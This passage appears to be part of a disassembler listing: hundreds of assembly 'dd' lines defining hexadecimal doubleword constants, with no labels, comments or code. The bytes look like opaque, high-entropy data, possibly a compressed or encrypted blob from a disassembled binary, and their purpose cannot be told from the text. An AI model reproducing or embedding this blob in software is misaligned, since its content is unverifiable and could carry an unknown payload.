		dd 3F4561ABh, 0B0ECD8h,	0AF84B56h, 0FFD26C9Ah, 0A71BE500h
		dd 0A35B7367h, 0FA2901CDh, 69103175h, 34B0301Dh, 5D6EAF16h
		dd 0C49CA414h, 3C008D51h, 0AF879565h, 22BEEB00h, 71C585A7h
		dd 86E33DC4h, 0E0FCB13h, 55E0B140h, 62BF03B5h, 0F1F93013h
		dd 72056C01h, 0DDC89D5Bh, 8A960137h, 0ACF5B095h, 9880E60Bh
		dd 0F751DA04h, 3840D641h, 5D962D2h, 985CADBAh, 2074D0B8h
		dd 42072A5Ah, 44456BFEh, 5FE6607Eh, 1CDD4C54h, 0E554968h
		dd 0AEC0A53Dh, 0AF08A29Ah, 7CBFC514h, 0FE400598h, 8490EA0Eh
		dd 3C118D27h, 88802038h, 0C56F9550h, 73011E5Bh,	0D6D244DBh
		dd 64E4BED9h, 50D14870h, 0F8992C75h, 0F61C818Ch, 0D02E9A8Bh
		dd 2133753h, 0F45F09E3h, 5145100h, 7A940DC0h, 4E520B89h
		dd 82004D53h, 813BA110h, 74BA720Eh, 0FA6C0048h,	1FE7B2B4h
		dd 0C3ADAC05h, 0E4F2E6D5h, 0D7489980h, 0C0420F2h, 0F8F92D49h
		dd 0CB7744C0h, 968FF64Bh, 424A01E8h, 0ECB1AD70h, 30002B05h
		dd 8CF6E1BBh, 5CD8D0h, 7BA4C4C8h, 716F2831h, 0DDAF3D00h
		dd 25D7CAA6h, 0A21E0356h, 42C0225Fh, 0ADAE46E8h, 0C95878B8h
		dd 814003F4h, 0FFDDEF03h, 714F0EC1h, 17C5C20h, 5931A8A4h
		dd 0E84D7F66h, 0F218C92Ah, 5A9884Bh, 65B90050h,	2C912F8Bh
		dd 6200950Ah, 0DC928D3Dh, 0F31E221h, 0DA26EB7h,	0CCB825h
		dd 0A980BD9Bh, 4E01C8A4h, 728B98D8h, 838CAF3h, 711C5707h
		dd 3DFE20F1h, 0BA0131BDh, 6ED2541Eh, 1C74CD03h,	32131B9Fh
		dd 63A9E0CFh, 8D20644Dh, 670AFBB0h, 0D818AF51h,	53A6AB00h
		dd 2CEC2B97h, 24CFEC1h,	0A2BD13A3h, 7D129160h, 0F85C917Eh
		dd 80B939DEh, 0CD7B3DF4h, 0BB19D89h, 181DC8FAh,	4C5F6020h
		dd 3B1E5BDBh, 0B00F5FFh, 737D79E1h, 0A15400B6h,	0C2845D32h
		dd 0A8CF27D4h, 89334104h, 75C4F055h, 1FF70063h,	4D0F3D81h
		dd 0DB1D9843h, 0B9003930h, 7BF29C9h, 0E864009Ah, 91FABD1Ah
		dd 19007778h, 0B59D3CEDh, 3EB310C1h, 0A0879B96h, 0F0C2AD0Bh
		dd 7FE94ECBh, 0E2C9BB00h, 0AFB38241h, 4CD5EA5Ah, 0F308C49Ah
		dd 3302D328h, 80D85D44h, 0A10F10A4h, 0DDBCA061h, 509D799Ah
		dd 31D5F1h, 0FB8A25DEh,	0DB87BCB7h, 76C8B300h, 0AEB1EFBDh
		dd 28A00003h, 239B396Ah, 0D30764B5h, 195404Ah, 4B515BC0h
		dd 0BAB10298h, 0C97366D6h, 2BAB4C40h, 76529710h, 55CFD200h
		dd 78537B4h, 99DDBB00h,	65AA172Ah, 0CBEA05h, 0B902C03Ch
		dd 6B22D93Eh, 3FEA5B00h, 8DBCFE08h, 15C700F6h, 0A7D393B1h
		dd 8F20233Eh, 0F976F7h
		dd 861678A4h, 9A1D1922h, 0F1D35D00h, 0C5FA91B5h, 0E49C004Bh
		dd 71B80B7Dh, 0C03AE5AFh, 99B694C4h, 3B843998h,	2136008Eh
		dd 9FF331C7h, 2027006Dh, 0F9FFFE7Eh, 8CB4D865h,	30D3071Ch
		dd 0AE97B842h, 632B2061h, 5110C522h, 7704A032h,	0A0211B01h
		dd 9F019E00h, 0D94C0899h, 7BE88002h, 0C9A80089h, 1B4FC1BCh
		dd 0BC927A70h, 5E07CCFCh, 1E97AC9Eh, 12C30E70h,	45C49941h
		dd 9013817Fh, 0F844027h, 171737C4h, 380081C1h, 79B0989Ch
		dd 72C9F9BBh, 60C390C4h, 15F3C8ECh, 90B190Ah, 80F6174Ch
		dd 565E5D5Eh, 466500DCh, 0A53CFA3Eh, 101D02A4h,	0B440E092h
		dd 0CB9DF774h, 0BACF01EEh, 53A5D0E3h, 2AE991DAh, 0B56A8200h
		dd 0E8102BD7h, 15033C00h, 0D82866DBh, 0C6C8071Dh, 60F257EDh
		dd 50D41A84h, 0E9965102h, 42A35C8Ch, 2440D26Bh,	95640781h
		dd 2700F0E5h, 0D94541BEh, 9405FECEh, 515AE818h,	0A13EE687h
		dd 0C440A19Fh, 1D16AE8h, 6C6EAE0Ch, 50208EE9h, 0ABFC68E0h
		dd 666F0616h, 9A310040h, 2E3C2907h, 8310946Bh, 68CF14AFh
		dd 0C9DA2003h, 978660E4h, 4368A7C9h, 6ADE33E0h,	2A3500BAh
		dd 97705CF1h, 50009DC3h, 0D07C7574h, 276484h, 0CA492BFDh
		dd 8EC8B715h, 66119E00h, 466A3997h, 0F2480FD3h,	4E400992h
		dd 0E660EA96h, 0D4820124h, 3903B026h, 0A8FDE744h, 1CEA2751h
		dd 45015663h, 0C0526857h, 0C2DE2FCDh, 810EA302h, 407A92B6h
		dd 0CFDFABh, 2A9DDCB4h,	0C6F68F25h, 0D746100h, 5F30668Bh
		dd 4EC0060h, 460FF748h,	68003C3Fh, 0AA59BCEh, 1ABE5DAh
		dd 97E144BBh, 0D97A3809h, 2398E05Bh, 7F6FC20Eh,	0EF00BD31h
		dd 3326E2BFh, 363D0396h, 5F6DA47Dh, 944852B2h, 0E8921CD8h
		dd 92809094h, 0AA20ACE7h, 3B0E7EAEh, 13740488h,	40CDD2B6h
		dd 0F6FB8114h, 250B46D9h, 8066A724h, 9E847C6Ah,	8CB84C6Ch
		dd 47003F58h, 7F19C336h, 0CC730D3Bh, 76CDC00h, 0F745D951h
		dd 0A4970004h, 81A03EE6h, 3401C40Bh, 5E79D3AAh,	0C02F4A4Bh
		dd 9BAF692Ch, 512F9800h, 682CB566h, 0F47B00B9h,	0D9DBE806h
		dd 9100ACB4h, 79EA2846h, 3A6551A8h, 528081FCh, 56CD0F83h
		dd 780F9AE3h, 0A002C348h, 0F41E5362h, 0EAF843h,	0B74C6E68h
		dd 0D9600F8Eh, 0F113641Dh, 1E00B493h, 1FBFD118h, 0E1CCF42Dh
		dd 0FC70E30h, 0B26591D4h, 8DEA0052h, 0B306217Ch, 8118553Eh
		dd 0C4D3BF64h, 7E30FB87h, 99D000F3h, 0E0A6EA17h, 68C0A504h
		dd 57144692h, 4E6400A2h, 0A4EC2DD0h, 6D0967DAh,	804B2CCDh
		dd 2E260C48h, 0A7FE18h,	0A8297B53h, 0CF7081A5h,	518E2301h
		dd 0D7EE88FEh, 0FD28B0C3h, 0FA080029h, 9CAC2512h, 4901B1E5h
		dd 7C55E8B9h, 0BED08156h, 1CC10030h, 0AB4F884Dh, 39004E94h
		dd 712F7A5Ch, 4008A6h, 33CF98B5h, 0FB446B4Fh, 2E003BF8h
		dd 0AA804103h, 4C6140h,	95F92BC2h, 0B5F4E136h, 49C11600h
		dd 6E8F1ECEh, 0B47801h,	65565D0h, 0CC36FA95h, 73F8A248h
		dd 0DC75EF0Eh, 96CFE09Bh, 721665Ch, 8C01E37Fh, 0A58400DBh
		dd 0D500A919h, 96B6FAC6h, 145A3CD9h, 0F0063F7Bh, 0BC096714h
		dd 0BF461F00h, 0B4B29B97h, 6953FA00h, 478B74A9h, 0D5D948E9h
		dd 9D1E283Bh, 0D75F86FBh, 0CB004053h, 61C899C4h, 17CADCh
		dd 35DF7852h, 0C7C559C0h, 0FB794203h, 0F98C95F8h, 1820F0FDh
		dd 3DF5E218h, 37005752h, 1EC324DDh, 0F40056FEh,	6F389D4Bh
		dd 91024Ch, 0EA49C28Ah,	8E4ACF87h, 0B9A09560h, 0F01D8592h
		dd 1E1B00A3h, 0B6AF07A2h, 0B70024EDh, 33B43004h, 761935h
		dd 0BF86083Dh, 0B051E82Dh, 5CB91E00h, 3AF30BA9h, 8643990h
		dd 786624h, 0A6C00AF4h,	0E0006782h, 9414E475h, 308DC2h
		dd 275EFBB2h, 295CB4A1h, 0DD53E03h, 883A14D6h, 1EF8538Bh
		dd 407D8D18h, 595A964Dh, 0F900C976h, 6C4C2D2Ah,	0E22137Fh
		dd 407B7AB0h, 0F59E0620h, 8D002BDEh, 4B48A43Dh,	83C4DAh
		dd 0AFFE75CBh, 1CC6E625h, 3F7F4AFCh, 110C8F1Dh,	15F17C80h
		dd 90BFB40h, 45711974h,	0D561B801h, 578C20E5h, 8F072212h
		dd 7C7CD714h, 0BB17D100h, 3479CDEFh, 749C3A9Ah,	31AB8C80h
		dd 6865678Eh, 0FC251300h, 8DC42EFh, 0F9190329h,	7C2B4C33h
		dd 6CA10290h, 340092EAh, 1C9B541Dh, 0A099C344h,	2606CAh
		dd 0A1FEF3Eh, 1267BC6Ah, 68520119h, 1CEC8C21h, 9E0E00BDh
		dd 342ECA02h, 7F008871h, 31EC2610h, 49CC5Ah, 0A2703592h
		dd 48582B76h, 0BE21C100h, 870AD1E3h, 0EFD40022h, 0C364123h
		dd 840002F2h, 0CA44B163h, 4EDCF8h, 3F4D6220h, 7650B8A6h
		dd 77875700h, 3AFCAD68h, 0BC301BCCh, 90C7F07Dh,	0C95ECF52h
		dd 0ADE80F00h, 0DA9C3CEDh, 87D83AB5h, 0A98047BFh, 360153ECh
		dd 0FE00050Dh, 0D332D20Ch, 10F00Bh, 454C75F5h, 8E5172BEh
		dd 0F88F5628h, 0A766D400h, 4D09AE38h, 2342020Ch, 0F013D063h
		dd 7EAAA880h, 0A09A206Dh, 0DE8AA00Eh, 39930089h, 48BE870Eh
		dd 0D700581Bh, 4E91EB36h, 7100B313h, 0D9F08D11h, 15F2EDCh
		dd 9BBEAC4Ah, 303E42B9h, 8700FC43h, 0ED37B352h,	3099ECFh
		dd 1773612Fh, 6ED8E4BEh, 765882E0h, 39A0019Ah, 0D0CC4257h
		dd 7EC9430h, 3827BCCBh,	80A3D0EDh, 0B0024D55h, 0ADDFBE6Ah
		dd 65186009h, 0B16039Ch, 6BDE0626h, 80965800h, 0BC9D083Bh
		dd 0C3E20F2Dh, 20600C52h, 31755961h, 51B32801h,	5B94C278h
		dd 1EE1EBC4h, 409FA62Fh, 24A0E90Ch, 180EE6EFh, 0BFA17535h
		dd 7371F898h, 16E4B9h, 6156FDF0h, 797BCAD8h, 89D1E002h
		dd 0A29DF8B3h, 0CB73F4E8h, 0D890F75Ch, 0E8178925h, 10A93239h
		dd 4F008E18h, 388C3B4h,	0E7904237h, 0FDC06AD3h,	23004ABFh
		dd 0E531F7B6h, 6121B3Eh, 28265168h, 7004178h, 79721AD8h
		dd 30AE29F8h, 0ECA82214h, 880DFD08h, 2012F413h,	540618E4h
		dd 0E44E6459h, 30FDF0DAh, 0B730EE4Bh, 9D501CEDh, 9318E45Ch
		dd 0E04006F8h, 1A4E00B8h, 98F28F5Ah, 3E2E5EBDh,	0FD00DAC4h
		dd 7BB7A3DEh, 873A001Ch, 0AE479864h, 0C00F085h,	0D6FBE33Dh
		dd 716C9FCh, 0B6579241h, 0D8D57027h, 0BA0081A6h, 4DF85E20h
		dd 7E02F12Fh, 3BF200C1h, 0C7A77C84h, 0AD02A237h, 2B83A50Ch
		dd 0CB8DC0CEh, 3CEEE23Ch, 3700779Dh, 0DE09D56Ch, 51009C6Dh
		dd 123AC9E7h, 1DE41D53h, 0B89F13Fh, 3420622Fh, 0DCEC7BCDh
		dd 0BCC2971Ch, 6B8C80BDh, 139E38FAh, 33E50739h,	0D766924Eh
		dd 0E4ACE3D0h, 8C8C7ADFh, 1496C2Eh, 0A000907Ch,	0AD5D783Ch
		dd 7811CD32h, 2F0526C1h, 0CAF80041h, 15B9208h, 8E892E02h
		dd 0E84EA716h, 786534h,	4117138Fh, 0F674023Dh, 18BBA200h
		dd 0BCE127DCh, 5E7C00B1h, 395C4CE4h, 2EE022D4h,	580AA50Fh
		dd 924747Fh, 8990C3h, 0FF88A886h, 32C90177h, 29D2DA61h
		dd 0C1B1806Dh, 0E6E0C80Dh, 0EEF803FDh, 549A77F5h, 0EB3C5BA8h
		dd 1AF14800h, 0B97C5A28h, 46E40045h, 475C9D8Ah,	0F774F29Fh
		dd 4D388F0Ch, 0F4AA7923h, 6E9103E8h, 0EE2EAEC4h, 866A480h
		dd 35617705h, 20E0A99Ah, 92A826D6h, 0E9650373h,	1028D550h
		dd 0D018046Ah, 8108BE1h, 817E31h, 0F2A0106Fh, 0DC918A0Ah
		dd 790F3976h, 0E0E0D138h, 0F5A4D607h, 0A9940078h, 93997543h
		dd 0ED005D25h, 0FFAF1B17h, 803B05h, 2AF8DFE5h, 0FE5B4B06h
		dd 75E93603h, 0F82F7859h, 7E75F88h, 4307CC7Eh, 0FF1C0DFh
		dd 2100A424h, 9497CE16h, 38B9F370h, 1300C2D1h, 92EF0144h
		dd 0B8F64EAEh, 3942700h
		dd 45F778Dh, 5C5B0243h,	14B224A8h, 8A7D57E0h, 0B94BDA00h
		dd 19034FDBh, 24D2003Bh, 3AED4204h, 88C02038h, 0BC0CF2B5h
		dd 27EB0089h, 2FC8B4B8h, 20FFBFEEh, 77774AF0h, 82FEE700h
		dd 0C9D57622h, 0CD28005Fh, 0F96504BCh, 0B300239Bh, 46440E8Fh
		dd 3116E96h, 92A21B74h,	12C9E882h, 4A8887F4h, 9E07E32h
		dd 0CCB083h, 9C20339Fh,	0FABD889Ah, 8417F200h, 0EFD3F06Ah
		dd 9B18C191h, 0CC295EF1h, 470A2F46h, 0E069BA79h, 84B3960Ah
		dd 0B7AF980h, 3A7BEF02h, 7F0238E7h, 0EBD92E1Dh,	6011F891h
		dd 0F1009E2Ah, 8109397h, 311568h, 0D4712AA1h, 7CF25362h
		dd 84442200h, 64EA06AEh, 0FA3603E4h, 0E512D8C9h, 35ABF8B8h
		dd 0B0B8EBA3h, 541E9623h, 3F403022h, 46686D34h,	28CD008Dh
		dd 0E37F5C11h, 1700C69Eh, 0CFDA83CAh, 0D8E95Dh,	76CC61A4h
		dd 6E303BC5h, 9F800D00h, 178899ADh, 4AE418h, 0B0EF0F8Bh
		dd 26BAE2B6h, 1B5B040Eh, 2D9EA3E1h, 9121006Ch, 23A172F6h
		dd 0D91E1A9Dh, 0F0B07B25h, 1B88657h, 972494E8h,	402DD8DBh
		dd 5AD155F8h, 0D7ABE500h, 2C719D3h, 137C66h, 0F08EE743h
		dd 693FEA2Fh, 0A52E4A7Bh, 1C281B59h, 48F67800h,	0E498CCD1h
		dd 0FA2C0AC7h, 0BC052Dh, 9EB5E140h, 0DF00DD8Eh,	642837Dh
		dd 0DB637Fh, 2A1284CFh,	9E11FFA7h, 0F5ECB8C0h, 12B5571h
		dd 4C7EE8A3h, 24B9E628h, 7200B2CCh, 0A99E6780h,	1866BF0h
		dd 36E966E7h, 246AB815h, 0CF00F858h, 0CBFA5FA6h, 3020425h
		dd 428CA003h, 54E839A3h, 0CE003221h, 1D23F95Dh,	7F05596h
		dd 647851Ch, 0B1BA07Eh,	1100B86Dh, 0AD5748E9h, 0E6D90465h
		dd 0F43102C7h, 3D77CEC3h, 0D81480A0h, 0F800ACFFh, 0F98BEBB3h
		dd 3D51A22Dh, 23803BF1h, 2848275Eh, 0C9C05568h,	603DAB30h
		dd 0F119004Ch, 0FC8B0747h, 0B80175B1h, 2EBB7C14h, 0DFE57026h
		dd 4CA7A450h, 83D63C9Ah, 89406200h, 0BD28AFFEh,	9D763B02h
		dd 0C22D756Dh, 0BD80702h, 1B00BF7Fh, 0EA12A4C0h, 8B060038h
		dd 3A5C181Eh, 0E507E9E3h, 0FE634B59h, 1BF73CD0h, 9888F67Eh
		dd 0B74900BFh, 0A32C74E1h, 0EA179E25h, 220057A2h, 0D870D5A9h
		dd 0E95005Bh, 0C3B05220h, 89780A10h, 24512200h,	7DA837B8h
		dd 71F80C35h, 74F9D143h, 0B2282700h, 33A37347h,	0BA62120Ch
		dd 1DFB0135h, 0C42063CCh, 0D900AEC2h, 0EECAD6FDh, 0F3F5202h
		dd 0A69D5F9h, 9692C8F8h, 0CAF3FD00h, 0AC186A9Fh, 6E070283h
		dd 10DEA012h, 803BCC45h, 1C5037C6h, 3F235Ch, 4F6858B3h
		dd 5FF0330Bh, 6FA9D500h, 0DAA0482Ah, 9AA20031h,	8CE94F04h
		dd 390053E3h, 2FE04C27h, 2B564F5h, 85A08AD9h, 0E8A0CDB3h
		dd 0BFC854EBh, 180098F4h, 4088028h, 60A44B0Fh, 8A5F11B6h
		dd 79068186h, 0CFFFF23Ch, 18880118h, 0CC9591E0h, 0A96BC46Ah
		dd 0C8044C98h, 48129477h, 189D90C0h, 264A04D8h,	90C50EFCh
		dd 6B62473Ch, 9549E700h, 557285AFh, 0E9704Eh, 0E44DAB7Fh
		dd 7ACEA264h, 0C2C52801h, 0ADAADBC0h, 0B766803Bh, 990019D9h
		dd 0BBBC7BA5h, 9078F6h,	56D8CA8Fh, 0E97D4482h, 6A9DB10Bh
		dd 0EF6C20FEh, 220E7FDh, 3C4F2C03h, 99805B11h, 63277962h
		dd 5225E218h, 49B838h, 2BF9F4AFh, 81A0FA5Ch, 75002AFAh
		dd 71417948h, 0EC6C7C3Ch, 435B0054h, 38AD55C0h,	0F09F0342h
		dd 7ABEA39h, 0E223D9Eh,	0CBEC8036h, 8404E49Dh, 0DB5BF17Dh
		dd 79C4488h, 7BEEC521h,	0F3A53099h, 410FD768h, 87DEB7DCh
		dd 0B944Ah, 0C05B5196h,	6B58006Dh, 7A07CA5Ch, 0E00061BFh
		dd 9D70B382h, 48054Ah, 2BB1990Dh, 91657647h, 0C83A5E7Eh
		dd 0AED92C3Dh, 3514C000h, 7788A1h, 76A59C36h, 4132BB82h
		dd 67E8D207h, 0A09B0BB1h, 9075F614h, 0D74A0007h, 0F8D643BFh
		dd 0AD02B67Ah, 8EF1FA93h, 2B5C60EFh, 0A633E06h,	1D43A19Ch
		dd 532EC179h, 64C75A11h, 1C099D58h, 0AEB334h, 0CB8B0DCCh
		dd 907F0E55h, 0A1B8EC3Fh, 75003486h, 0AE6C69C7h, 7074174Bh
		dd 5F2800F2h, 8798B7F9h, 713E4721h, 0D56B85F7h,	88909706h
		dd 547C15h, 0DCBE254Ah,	0DDEFF5F8h, 9E963417h, 380B9042h
		dd 7ED960C6h, 0B57402A1h, 0CA69AD7Dh, 0A603A4E0h, 5742E0F9h
		dd 1DC7AC00h, 55587DB6h, 0FA41CF9Dh, 0D3D0936Ch, 541E60C1h
		dd 818395F9h, 53EFE833h, 0BAB5BEC0h, 0C3B6B724h, 0BFF6A300h
		dd 268F27h, 9F33CCE5h, 0B20F9CFh, 69C61431h, 469574F6h
		dd 4B006819h, 0AB8D4A5Fh, 0FE002CB5h, 37D682DEh, 0EDF39Eh
		dd 0E0D507C5h, 0EC48EE5Fh, 0C6ECB5E6h, 4B9E5700h, 0DA5125AAh
		dd 54F50E88h, 0E0808105h, 715D1559h, 0E103B3F0h, 0FE7BA1BAh
		dd 0F0B6E003h, 0EDCF0030h, 519CD8D3h, 0B416A3A0h, 92074098h
		dd 98BC772Bh, 3547007Dh, 49057A8Ah, 69006EB0h, 485E37C5h
		dd 7ED615h, 849AC6DCh, 20856FE0h, 28B6B00h, 30AD6DD7h
		dd 7BED1EF6h, 78BE1Eh, 0A2679B27h, 0FC38E589h, 0B46DE000h
		dd 0C84AD4E7h, 26830319h, 0CA016B54h, 0D2328A80h, 7639FE00h
		dd 1F9CC3DDh, 26E097D5h, 677F5D55h, 0C799A600h,	65E5B6AEh
		dd 782200F7h, 0C2DA307Ch, 0FA0938CCh, 0A86E39E3h, 421EC58h
		dd 0D4377057h, 0BA7B5F02h, 97BF5299h, 0DCA36030h, 2C98D6A0h
		dd 0F2874900h, 9A2B3389h, 506B0003h, 0D8A2DD5Eh, 553261A3h
		dd 119228CEh, 44840877h, 108465D4h, 21F38D94h, 0E6F00813h
		dd 56843990h, 0AF1F448Bh, 48E77144h, 0B11A423Dh, 22AC7B22h
		dd 1124D3AAh, 12BE6121h, 0D0621047h, 0B3089589h, 10EEBF45h
		dd 0E989EF39h, 8544BD08h, 9B8C88AFh, 160E3101h,	756D997Ah
		dd 94DC59DDh, 0FC875BEh, 86B7460Ah, 43B5E840h, 0CD07EBB9h
		dd 0DB4130B6h, 7D1A49B0h, 68A80045h, 0FDC37244h, 9B00D454h
		dd 0A6D17164h, 0EA0CC1h, 0AE967F2Ah, 0D5724A2Ch, 0D726AD16h
		dd 1D9D5F00h, 0F47EAB3h, 123F927Dh, 3D065160h, 900457Bh
		dd 4A27196Ch, 383AEA65h, 7BF8A9h, 0CE211AC4h, 0D5EB342Eh
		dd 55004375h, 0F96431E1h, 1304969Fh, 40A28911h,	0A5C3094Ch
		dd 8F00102Eh, 2C206D25h, 799C0F29h, 0BCCD017Ah,	3F84A4F9h
		dd 539180B1h, 659D9859h, 0D70F002Eh, 74708E9Eh,	16007961h
		dd 110A010Bh, 43B61Ch, 7FA2A77Ah, 552D5251h, 92831500h
		dd 0ADDC6345h, 46A100D2h, 43FA9E50h, 0AB0752EEh, 0C85049Bh
		dd 6ECDFC40h, 9C077A8h,	19A7FE4h, 0BE8844E0h, 6F29D4Ch
		dd 0F24B85EAh, 3CD11DA8h, 28028C09h, 0FE73A538h, 0B938E9A3h
		dd 2483B15h, 84C4F27Ch,	0CAE8E1DAh, 0A0D898F4h,	0FB2FBCh
		dd 8EA87404h, 72C9B005h, 6357DB0Ch, 3C20D9h, 0B6DDE4B2h
		dd 87B7C22Bh, 6097CB07h, 1310C9FAh, 31D83A3h, 9BD72049h
		dd 0D5E8417Ah, 5100681Eh, 0B4BD957Dh, 25705E4h,	0AF127C33h
		dd 0D0806472h, 0F81E4503h, 2D229900h, 3EE67547h, 81D900D8h
		dd 496DF4C5h, 430E8F4Ah, 205A65DEh, 0DC7B8850h,	55DB0042h
		dd 85A7EF5Eh, 0B90EB3CFh, 8292A5D4h, 40DE7538h,	5F0A7Ah
		dd 86634248h, 36D1F3F1h, 0E3F71600h, 1CA452FDh,	2C6713Eh
		dd 57A2AF7Eh, 1040FF3Bh, 89005365h, 1EEE0904h, 1C58EAh
		dd 5E474323h, 0C3AA1DFCh, 53876000h, 3E567207h,	0A06CF883h
		dd 21884ACh, 0BC3FC1C7h, 8EC1999Ah, 1C1E3029h, 2C2ACD00h
		dd 0B4D7BE04h, 359600DCh, 5B364F38h, 0A10CD8F7h, 0B84C3D77h
		dd 8BD21EF9h, 2DE981D5h, 24E3DB5Ch, 9300BE94h, 0D00A6F3Fh
		dd 0FE7847h, 0AA72DFE2h
		dd 0E8114A9Ah, 643A2100h, 0F342AEB8h, 33190002h, 7ACD8251h
		dd 8E0076BBh, 0DC552C0Bh, 0C7793Ch, 49E8F9F7h, 1C999BD6h
		dd 966A4F09h, 784002EAh, 0B84A2058h, 0AA00939Dh, 4F8BE0F0h
		dd 0B7CE32h, 0DEF90B94h, 0BB4034A2h, 0D80DC803h, 0F3BF01Eh
		dd 0CA9F61B0h, 0C278C444h, 4C401108h, 0B8003765h, 9F7FE92Dh
		dd 771485C9h, 23A50E7Dh, 1E200F28h, 871FB493h, 7F03CF06h
		dd 150214Bh, 9B2F7870h,	0C8E6FB51h, 6700C2BDh, 40E2B866h
		dd 12EFFD7h, 0BEBFC441h, 202412A0h, 0F6009D4Ch,	0B11B04DBh
		dd 4FCDC1h, 24643C4h, 0ED35D014h, 7A970A0Eh, 0BB4E0E0h
		dd 0DF5ADCh, 0C7F192ECh, 0BCF30425h, 78F76D0Eh,	0A62E85BEh
		dd 847F3480h, 0CA650012h, 0BBB23AA7h, 7001ACFh,	1E37DB70h
		dd 0FF16CCh, 54694A8h, 0A7F51FF3h, 413D1D1Ch, 9C05E40h
		dd 72FD9Eh, 7C775A85h, 0C4591848h, 8ED6200h, 7A3F4431h
		dd 89E40015h, 0B1B7F079h, 6900338Fh, 21809EB3h,	0EA86BEDFh
		dd 48BB0E96h, 0D940234Dh, 0CDF9B476h, 0F52F580Fh, 1E4E3DF7h
		dd 2D12DF62h, 47CE8A03h, 9277B0D8h, 97EE00B0h, 7156CF9Dh
		dd 0DD0F9A2Ah, 0E028EAB8h, 0D227890Fh, 0ADD71C04h, 351C8098h
		dd 3E61514Eh, 0B8AB2528h, 679EF000h, 5E11992Bh,	5AD900EBh
		dd 7AB0326Eh, 1F2C70F6h, 0A987D0CAh, 0D790A44Bh, 98378A99h
		dd 94B91DA8h, 0B3394071h, 0F9A0468Fh, 7251E112h, 0A45C0Fh
		dd 0D490AA25h, 282176DBh, 0C09FEFh, 0D956E17Eh,	0D6169D64h
		dd 0D21DDD00h, 9F824D3Bh, 547E4CA7h, 526B9100h,	9814039Dh
		dd 93A5603Ch, 7D01A6CAh, 7C176971h, 6DC6880h, 0ED688C9Dh
		dd 1DD0280h, 0E6632E89h, 64CB1F30h, 0A138F720h,	59D0E053h
		dd 74D2Dh, 8BBFEB63h, 45FFCDAEh, 0D7D05100h, 1C1DB7B6h
		dd 9D7DDFh, 5A46AFBBh, 0A081092h, 0D6475601h, 1DEE6B3Bh
		dd 6298808Eh, 4D3EC11Fh, 0C4C492D4h, 0CC6013B1h, 86F34A52h
		dd 84D200B2h, 0EE7C0DD6h, 90002EC9h, 0F7076F7Eh, 868E64h
		dd 0A4CA4985h, 4B38E49Fh, 9D6C6B00h, 0B668EAB2h, 16651E3Eh
		dd 6AA980DBh, 0FFBECFF3h, 52D5CD1Fh, 0D7E68301h, 97E4B865h
		dd 0B627008Ch, 2EFCD19Ch, 5CFAD2F4h, 0C09DC128h, 978915Ch
		dd 83023F76h, 0A8F9BD00h, 81C79Eh, 2E36C1F0h, 50518EB8h
		dd 0CB0A0F01h, 89E20B3h, 0F4865F20h, 2D1607F0h,	314DBCFAh
		dd 0C860D5EAh, 6A09CC9Bh, 0AF0F54E9h, 0FAED2018h, 0BC5C29h
		dd 0ADF84514h, 72CB3053h, 0DA2F2B1Dh, 0CAF1B081h, 0DCF089EFh
		dd 81221E94h, 0C200FC49h, 48649C09h, 60008D5h, 945DCD0Eh
		dd 6366895h, 181C6B24h,	931D5810h, 384229E4h, 605A6D21h
		dd 9CC2DCh, 41520849h, 0C7A8464Fh, 8D13A700h, 0CEE85391h
		dd 65D60078h, 7B551B45h, 7301FAEBh, 954C8E2Ch, 18D8F35Eh
		dd 585C004Dh, 0B785035Bh, 1002624h, 63216777h, 4CFE3627h
		dd 0E112F757h, 0F13400CAh, 0C5EFB481h, 0A23B5Ch, 10FD596Eh
		dd 0E4EDBDh, 0CE30A6E1h, 88404CB4h, 0FF480400h,	225437ACh
		dd 81F60Ah, 4905E31Bh, 6D7DC9E4h, 34B01724h, 57624602h
		dd 279448DCh, 30DD000Eh, 6C78E44Fh, 180071F8h, 25963DDEh
		dd 124BC4E6h, 0C981D0h,	26DB0D13h, 0CC3B8A6Bh, 0C0778131h
		dd 0EF42DA5Ah, 0A41CE0h, 0D0477F32h, 857CD746h,	0F4EC501h
		dd 0C6A21ABFh, 7AB9E4h,	0D9574261h, 0BD15B09Ah,	77369C00h
		dd 0EC11C5D1h, 95A016EDh, 0FD6900C2h, 0E71DE108h, 0C0A36E00h
		dd 0D802231Eh, 0E44725Ch, 0B9F7CA28h, 0EAB1B400h, 0E95067F0h
		dd 4D00ABE9h, 66187E3Eh, 7B92FBCh, 61B7D374h, 0D4EA83h
		dd 1F363BDDh, 0C40053BEh, 0EC23FB94h, 4FB435h, 0D3CD1837h
		dd 7F0DABD8h, 0EAFCF702h, 0E81416E3h, 90CCE6C4h, 2463783Ch
		dd 146059h, 61E7DC39h, 23F2426Dh, 0B45D8100h, 80653595h
		dd 0F65C501Eh, 0A62703CAh, 0DB6E88CEh, 0BDEED4E8h, 8590FD3Fh
		dd 4536AB2Fh, 0AFDD08D0h, 4ED00083h, 25B6A8F8h,	68026795h
		dd 0FD195873h, 1DA4806Bh, 1472779h, 8EC2AC63h, 0D0B0CF9Bh
		dd 0F00F1B35h, 45DBFE10h, 82C07E23h, 0C30C18h, 7F726290h
		dd 5AD03EEEh, 8884507h,	0AE40BDE9h, 0B122D9h, 0AB0D7BF8h
		dd 9DFF2AECh, 0B812789Ah, 6B006899h, 2390EE3Ah,	0DFC202CEh
		dd 0C5923743h, 82799CC4h, 96632A00h, 5BDD5210h,	0AAF800F4h
		dd 8D3A1D0h, 64B06591h,	0C97BE00h, 2B94551Ah, 0C8F40E10h
		dd 0FC0015C2h, 7E89F5Dh, 0FD650900h, 412B7A7Bh,	719609A5h
		dd 0D850A79Eh, 21F047Dh, 9C846DE2h, 360059D8h, 7FEFCF15h
		dd 83A9FC00h, 601982E1h, 0BCAB17E6h, 0EC2C002Ch, 266A906Eh
		dd 0D33DC400h, 7A327DF6h, 8E0E00E1h, 0ECDA2EABh, 0F92C0D6Bh
		dd 90205476h, 0B96DAC00h, 3F26D037h, 0ECD97ABBh, 4A9F01C7h
		dd 42F86683h, 0C605C87Dh, 8FB9E43Dh, 0EE558F8Ah, 22AFACh
		dd 7EE73739h, 4CD330F5h, 0FC1BD628h, 0CE154800h, 0E1F1CC0Ch
		dd 0B8F3256Bh, 0A960BC80h, 1CFE528Ch, 0F775E507h, 8019CD07h
		dd 71EEBD14h, 18A100E2h, 5F09B220h, 990014F9h, 0A28760C9h
		dd 483A1Ch, 78FC5441h, 0BB0FE9Ch, 3E01CEEAh, 94878540h
		dd 0CC70ED64h, 48CCEE98h, 62006842h, 6B22B346h,	0EB005395h
		dd 14E61148h, 90C7ADA0h, 413E0286h, 10846AD8h, 7D76C440h
